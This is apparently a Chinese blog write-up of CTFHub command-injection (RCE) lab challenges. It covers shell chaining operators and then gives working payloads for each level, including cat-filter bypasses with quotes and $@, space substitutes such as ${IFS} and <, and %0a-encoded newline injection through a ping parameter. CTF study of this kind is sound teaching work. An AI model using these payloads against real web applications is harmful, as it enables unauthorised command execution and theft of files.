RCE复习(ctfhub下)

发布于:2024-04-30 ⋅ 阅读:(23) ⋅ 点赞:(0)

先了解一下命令注入的知识点:

知识点

1、常见的拼接符

  1. A ; B     先执行A,再执行B
  2. A & B    简单的拼接
  3. A | B      显示B的执行结果
  4. A&&B    A执行成功之后才会执行B
  5. A || B     A执行失败之后才会执行B
  6.       ,       在特殊情况下可代替空格

2、常见的命令

(1)、windows

1.type  显示文本文件内容
type x:\1.txt                      //显示x盘下的1.txt文件内容
type x:\1.txt | more            //分页显示x盘里1.txt的内容
more 1.txt                         //逐屏显示当目下1.txt的文本内容(空格:下一屏 q:退出)

2.dir  显示目录里的内容
dir                //显示当前目录里的子文件夹和文件
dir /b            //只显示当前目录子文件夹、文件的文件名
dir /p            //分页显示当前目录子文件夹、文件
dir /ad          //只显示当前目录中的文件夹
dir /a-d         //显示当目里的文件
dir x:/a         //显示x盘下a文件夹中的内容
dir 1.txt        //显示当目下1.txt的信息
dir /s            //递归显示当目中的内容   ctrl c终止当前命令
dir a*           //显示当目下a开头的文件、文件夹信息
dir /ah /os    //显示当目下隐藏的文件和目录,按文件大小从小到大排序

(2)linux

1、ls:列出目录

2、pwd:显示当前所在的目录

3、cat:由第一行开始查看文件

4、tac:由最后一行到第一行查看

5、more:逐项查看文件,按空格继续,最后自己退出

6、less:逐行查看文件,按方向键,不可主动退出,按q退出

7、head:只查看文件前十行

8、tail:只查看文件后十行

补充:

接下来是例题:

一.命令注入

打开题目,告诉我们是命令注入且无过滤

1.使用了ping命令,我们输入IP,进行ping;由于没有过滤,直接进行命令的拼接

直接查看根目录

127.0.0.1 | ls

在根目录中发现了两个文件,猜测在第一个里面

直接查看文件的内容:

127.0.0.1 | cat 260731822620001.php

但是发现没有回显,查看源代码试一试

发现源代码中藏有flag

二.过滤cat

1.其实这道题目和上一题的做法一样,只不过需要把命令中的cat给绕过

2.查看文件的命令不能是cat,对比上述知识点,也可以选择其他的查看文件的命令;(比如head)

127.0.0.1 | ls

先查看根目录

发现了flag文件,那么就直接访问这个flag文件

(1)使用head代替掉cat

127.0.0.1 | head flag_7157667214323.php

还是一样的没有回显,查看源代码

发现了flag

(2)绕过cat

使用单引号绕过 

127.0.0.1; c''at ​  flag_7157667214323.php  ​ |base64


发现了一串base64编码,解码即可

同样的可以得到flag

下面这两个和单引号绕过得到的结果一样,只是绕过的方式不同罢了

使用双引号绕过 :

127.0.0.1; c""at flag_7157667214323.php |base64

利用Shell 特殊变量绕过:

127.0.0.1; ca$@t flag_7157667214323.php |base64

三.过滤空格

其他步骤不变,空格被过滤,可以对空格进行代替,然后绕过。

<,<>,%20(space),%09(tab),$IFS$9,{IFS}

以上这些字符都可以代替空格

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。以下payload皆可绕过本题空格:

先看当前目录

127.0.0.1;ls

发现了flag文件,直接查看这个flag文件,但是要注意替换掉命令中的空格

127.0.0.1|cat<flag_136091577914436.php

又是什么都不显示,那么就直接查看源代码

发现了flag

其它的字符替换掉空格的做法就不再展示,和上面的一样的操作

四.过滤目录分隔符

法一:先查看根目录,发现有提示“flag_is_here”

根据提示,进去看一下:

127.0.0.1;ls flag_is_here

发现了flag文件

根据经验知道我们只要访问到php文件的内容就可以拿到flag了

 思路:这里我们可以用&&运算符将命令连接起来就能成功拿到flag

127.0.0.1;cd flag_is_here&&cat flag_19900138617064.php|base64

法二:这题过滤了目录分割符,flag在/flag_here文件夹下面,因此不能直接读取,我们需要进行命令的拼接。

;cd flag_is_here;ls

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、列举flag_is_here文件夹下的文件

发现了flag文件

同理,进行命令拼接,读取文件内容

;cd flag_is_here;cat flag_1619816943826.php

这个命令分三步执行:

1、ping

2、进入flag_is_here文件夹

3、读取文件夹下的flag.php

得到了flag

五.过滤运算符

进入题目发现过滤掉了“/(\||\&)/”这些字符,那么我们就不用这些运算符

127.0.0.1;ls

发现了flag文件

127.0.0.1;cat flag_24277163784460.php

同样的在源代码中发现了flag

六.综合过滤练习

看见源代码中给出了本题目过滤掉的字符,甚至把cat和flag, ctfhub同时过滤掉了

不过运算符";"可以用%0a%0d%0D%0A绕过

空格可以用${IFS}

cat可以用more,head

flag可以用f***

先执行命令127.0.0.1%0als

但是没有回显,查了一下得知:这里因为%0a是url编码,所以要输入到url中,否则会被二次编码

所以这道题目的每一条命令都要构造url的payload

?ip=127.0.0.1%0als

接下来查看flag_is_here

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

然后查看flag内容的base64编码

/?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_7287917426138.php


得到一串base64编码,进行解码

解码成功,得到了flag


网站公告

今日签到

点亮在社区的每一天
去签到